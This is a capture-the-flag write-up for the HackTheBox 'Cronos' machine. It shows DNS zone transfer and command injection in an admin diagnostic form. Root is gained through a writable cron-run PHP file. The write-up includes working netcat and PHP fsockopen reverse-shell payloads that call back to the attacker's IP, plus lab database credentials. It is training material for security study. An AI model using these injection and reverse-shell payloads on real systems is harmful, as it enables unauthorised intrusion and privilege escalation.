HackTheBox: Cronos
linux dns zone-transfer command-injection reverse-shell crontabCronos is a Linux-based machine authored by ch4p, with an average rating of 4.5 stars.
// Lessons Learned
- As always, HTTP redirects should be treated as mere suggestions rather than rules, to potentially discover more content.
// Recon
┌──(kali㉿kali)-[~/HTB/cronos]
└─$ nmap -A -p- cronos.htb
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-29 09:26 AEST
Nmap scan report for cronos.htb (10.10.10.13)
Host is up (0.054s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 18:b9:73:82:6f:26:c7:78:8f:1b:39:88:d8:02:ce:e8 (RSA)
| 256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA)
|_ 256 1a:0e:e7:ba:00:cc:02:01:04:cd:a3:a9:3f:5e:22:20 (ED25519)
53/tcp open domain ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.10.3-P4-Ubuntu
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Cronos
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1928.70 seconds
Nmap reveals this machine is running Ubuntu Linux and hosting the following services:
- ssh on port
22
- dns via
BIND 9.10.3-P4
on port53
- http via
Apache 2.4.18
on port80
A request to the DNS server for zone transfer (-t axfr
) returns the complete domain/zone recordset, revealing several additional hostnames:
┌──(kali㉿kali)-[~/HTB/cronos]
└─$ dig -t axfr cronos.htb @cronos.htb
; <<>> DiG 9.18.1-1-Debian <<>> -t axfr cronos.htb @cronos.htb
;; global options: +cmd
cronos.htb. 604800 IN SOA cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
cronos.htb. 604800 IN NS ns1.cronos.htb.
cronos.htb. 604800 IN A 10.10.10.13
admin.cronos.htb. 604800 IN A 10.10.10.13
ns1.cronos.htb. 604800 IN A 10.10.10.13
www.cronos.htb. 604800 IN A 10.10.10.13
cronos.htb. 604800 IN SOA cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
;; Query time: 59 msec
;; SERVER: 10.10.10.13#53(cronos.htb) (TCP)
;; WHEN: Wed Jun 29 09:30:55 AEST 2022
;; XFR size: 7 records (messages 1, bytes 203)
A cursory search using searchsploit reveals no obvious exploits for the version of BIND running, save for some possible cache poisoning attacks:
┌──(kali㉿kali)-[~/HTB/cronos]
└─$ searchsploit BIND dns
---------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------------------------------- ---------------------------------
BIND 9 0.3beta - DNS Cache Poisoning | multiple/remote/4266.py
BIND 9.4.1 < 9.4.2 - Remote DNS Cache Poisoning (Metasploit) | multiple/remote/6122.rb
BIND 9.5.0-P2 - 'Randomized Ports' Remote DNS Cache Poisoning | multiple/remote/6236.txt
BIND 9.x - Remote DNS Cache Poisoning | multiple/remote/6123.py
BIND 9.x - Remote DNS Cache Poisoning | multiple/remote/6130.c
Blizzard Update Agent - JSON RPC DNS Rebinding | windows/local/43879.txt
FRITZ!Box 7.20 - DNS Rebinding Protection Bypass | hardware/remote/49293.txt
Transmission - RPC DNS Rebinding | multiple/remote/43665.md
---------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Accessing the webserver through either cronos.htb
or www.cronos.htb
returns the same default landing page, with no internal links but a strong indication of the Laravel PHP Framework being used:
This is backed up by the presence of a laravel_session
cookie being set in the response:
Set-Cookie: laravel_session=eyJpdiI6Ik5sWHRoTGxtUnpZUHN0bVVpb2hYa3c9PSIsInZhbHVlIjoiaVpIS2M1WXJoVDV3cTJxYU5aRzg0dVU4Z3Y3SThTczVKOWE0NkprbkdWbE5mNnI4bUJObUpHUmpJQzhmcG5FTUYzd2VhOGdqT29zemZnN1VcL0NZZnZBPT0iLCJtYWMiOiI3NDM4ZTYxNTdjZDk5MTI3NWFjZTZhNzdiNTkzNzA4ZTg5MTc3OGQxMDc3YTJjNTEzZjc3MmEwNjI4NGM0MzZkIn0%3D; expires=Wed, 29-Jun-2022 01:36:42 GMT; Max-Age=7200; path=/; HttpOnly
ns1.cronos.htb
returns a default Apache / Ubuntu page:
while admin.cronos.htb
returns some kind of login portal:
// Initial Foothold
This login page seems the most promising lead so far. There’s no indication of a particular web technology / or framework in use, and testing some obvious default credentials (admin / admin
, admin / password
etc.) proves fruitless. Fuzzing the server with Feroxbuster reveals a couple of additional URLs that are mostly redirects (logout.php
, welcome.php
, session.php
), as well as confirming php is in use:
┌──(kali㉿kali)-[~/HTB/cronos]
└─$ feroxbuster -u http://admin.cronos.htb -w ~/github/danielmiessler/SecLists/Discovery/Web-Content/raft-medium-files.txt
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.7.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://admin.cronos.htb
🚀 Threads │ 50
📖 Wordlist │ ~/github/danielmiessler/SecLists/Discovery/Web-Content/raft-medium-files.txt
👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.7.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200 GET 56l 139w 1547c http://admin.cronos.htb/
200 GET 56l 139w 1547c http://admin.cronos.htb/index.php
200 GET 0l 0w 0c http://admin.cronos.htb/config.php
302 GET 0l 0w 0c http://admin.cronos.htb/logout.php => index.php
403 GET 11l 32w 300c http://admin.cronos.htb/.htaccess
403 GET 11l 32w 296c http://admin.cronos.htb/.html
403 GET 11l 32w 295c http://admin.cronos.htb/.php
302 GET 20l 38w 439c http://admin.cronos.htb/welcome.php => index.php
403 GET 11l 32w 300c http://admin.cronos.htb/.htpasswd
403 GET 11l 32w 295c http://admin.cronos.htb/.htm
302 GET 0l 0w 0c http://admin.cronos.htb/session.php => index.php
403 GET 11l 32w 301c http://admin.cronos.htb/.htpasswds
403 GET 11l 32w 299c http://admin.cronos.htb/.htgroup
403 GET 11l 32w 304c http://admin.cronos.htb/wp-forum.phps
403 GET 11l 32w 304c http://admin.cronos.htb/.htaccess.bak
403 GET 11l 32w 298c http://admin.cronos.htb/.htuser
403 GET 11l 32w 294c http://admin.cronos.htb/.ht
403 GET 11l 32w 295c http://admin.cronos.htb/.htc
[####################] - 15s 34260/34260 0s found:18 errors:0
[####################] - 14s 17130/17130 1188/s http://admin.cronos.htb
[####################] - 14s 17130/17130 1165/s http://admin.cronos.htb/
As always when fuzzing a server, however, redirects should be treated as nothing more than suggestions. Visiting each of the links using a tool such as Burp Repeater, where redirects can be ignored, confirms there is content returned when requesting welcome.php
:
Examining the HTML reveals a form designed to execute several network diagnostic tools:
<form method="POST" action="">
<select name="command">
<option value="traceroute">traceroute</option>
<option value="ping -c 1">ping</option>
</select>
<input type="text" name="host" value="8.8.8.8"/>
<input type="submit" value="Execute!"/>
</form>
A request can easily be crafted in Burp Repeater to use this form to ping our attack box, 10.10.17.230
:
POST /welcome.php HTTP/1.1
Host: admin.cronos.htb
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 53
command=%70%69%6e%67%20%2d%63%20%31&host=10.10.17.230
which results in ICMP traffic being received as expected:
┌──(kali㉿kali)-[~/HTB/cronos]
└─$ sudo tcpdump -i tun0 icmp
[sudo] password for kali:
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
10:44:17.194239 IP cronos.htb > kali: ICMP echo request, id 12985, seq 1, length 64
10:44:17.194271 IP kali > cronos.htb: ICMP echo reply, id 12985, seq 1, length 64
Given the format of the command
and host
parameters, it seems possible that this form may be vulnerable to command injection. A simple modification to the command
parameter confirms this (non-URL encoded version shown):
command=ping -c 10.10.17.230; whoami; ping -c&host=10.10.17.230
This results in our attack box being pinged twice, but also the output of the whoami
command appearing on the returned page:
With remote code execution confirmed, a reverse shell can be established using the system-native netcat binary at /bin/nc
. The first attempted payload fails with an error (including 2>&1
in the payload ensures we receive errors, otherwise there is simply no response):
command=ping -c 1 10.10.17.230; /bin/nc -e /bin/bash 10.10.17.230 443 2>&1; ping -c
/bin/nc: invalid option -- 'e'<br>
This is nc from the netcat-openbsd package. An alternative nc is available<br>
in the netcat-traditional package.<br>
As outlined in the excellent HighOn.Coffee reverse shell cheatsheet, BSD netcat requires an alternative syntax:
command=mkfifo /tmp/lol;nc 10.10.17.230 443 0</tmp/lol | /bin/sh -i 2>&1 | tee /tmp/lol
Once url-encoded, sending this payload to the server results in our attack box listener catching a shell, which can be upgraded via the well-known python / bash technique:
┌──(kali㉿kali)-[~/HTB/cronos]
└─$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.17.230] from (UNKNOWN) [10.10.10.13] 36300
/bin/sh: 0: can't access tty; job control turned off
$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data@cronos:/var/www/admin$ ^Z
[1]+ Stopped nc -lvnp 443
┌──(kali㉿kali)-[~/HTB/cronos]
└─$ stty raw -echo
┌──(kali㉿kali)-[~/HTB/cronos]
nc -lvnp 443
export TERM=xterm
www-data@cronos:/var/www/admin$ stty rows 55 columns 186
www-data@cronos:/var/www/admin$
From here, we can navigate to /home
and retrieve the user flag from the usual location:
www-data@cronos:/var/www/admin$ cd /home
www-data@cronos:/home$ ls
noulis
www-data@cronos:/home$ cd noulis
www-data@cronos:/home/noulis$ ls
user.txt
www-data@cronos:/home/noulis$ cat user.txt
bc90c***************************
// Privilege Escalation
Beginning with manual enumeration, it’s possible to quickly confirm that:
sudo
is password-protected for our userwww-data
(sudo -l
)root
,noulis
andwww-data
are the only login-enabled accounts (cat /etc/passwd
)www-data
has no special group membership (groups
)- there are no setuid binaries on the system (
find / -perm 4000 2>/dev/null
)
Running netstat
reveals there is a MySQL server available on the internal / localhost interface only:
www-data@cronos:/var/www/html$ netstat -antup
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
...
Database servers configured in this way are usually accessible by a website running on the same machine, so that seems a likely place to find credentials. Since we already know Apache is running, we can check the contents of the /etc/apache2/sites-enabled
folder to find the configurations:
www-data@cronos:/etc/apache2/sites-enabled$ ls -la
total 8
drwxr-xr-x 2 root root 4096 May 10 14:51 .
drwxr-xr-x 8 root root 4096 May 10 14:51 ..
lrwxrwxrwx 1 root root 35 Mar 22 2017 000-default.conf -> ../sites-available/000-default.conf
lrwxrwxrwx 1 root root 29 Apr 9 2017 admin.conf -> ../sites-available/admin.conf
lrwxrwxrwx 1 root root 31 Apr 9 2017 laravel.conf -> ../sites-available/laravel.conf
The 000-default
file contains nothing useful but admin.conf
and laravel.conf
confirm their sites are running from /var/www/admin
and /var/www/laravel/public
respectively. Searching the admin folder quickly reveals credentials in the /var/www/admin/config.php
file:
<?php
define('DB_SERVER', 'localhost');
define('DB_USERNAME', 'admin');
define('DB_PASSWORD', 'kEjdbRigfBHUREiNSDs');
define('DB_DATABASE', 'admin');
$db = mysqli_connect(DB_SERVER,DB_USERNAME,DB_PASSWORD,DB_DATABASE);
?>
This provides access to an admin
database that contains a users
table, with a single row of data:
mysql> select * from users;
+----+----------+----------------------------------+
| id | username | password |
+----+----------+----------------------------------+
| 1 | admin | 4f5fffa7b2340178a716e3832451e058 |
+----+----------+----------------------------------+
The admin index.php
file confirms is an MD5 hash, but there is likely no value in trying to crack it, since we have access to the site’s code already:
...
$myusername = $_POST['username'];
$mypassword = md5($_POST['password']);
$sql = "SELECT id FROM users WHERE username = '".$myusername."' and password = '".$mypassword."'";
...
Similarly for the laravel
site, there is a .env
file in that directory which contains database credentials, but these don’t seem to provide a valid login:
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=homestead
DB_USERNAME=homestead
DB_PASSWORD=secret
...
Of more interest is the following entry in /etc/crontab
:
* * * * * root php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1
This runs the command php /var/www/laravel.artisan schedule:run
every minute, as the root user. Given that the our current user, www-data
has full permissons on the artisan
file, it means we can run any php code as root:
-rwxr-xr-x 1 www-data www-data 1715 Jun 29 04:50 artisan
Artisan is actually a helper utility for assisting with site building, but since the file itself is nothing more than plain php, we can easily add a command to setup a new reverse-shell (again taken from HighOn.Coffee):
#!/usr/bin/env php
<?php
# insert malicious code here:
$sock=fsockopen("10.10.17.230",444);exec("/bin/sh -i <&3 >&3 2>&3");
...
With a new listener on port 444
running on our attack box, we never have to wait for more than a minute to catch a new shell, this time as root:
┌──(kali㉿kali)-[~/HTB/cronos]
└─$ nc -lvnp 444
listening on [any] 444 ...
connect to [10.10.17.230] from (UNKNOWN) [10.10.10.13] 36240
/bin/sh: 0: can't access tty; job control turned off
# whoami
root
From here, we can retrieve the root flag in the usual location:
# cat /root/root.txt
584d5***************************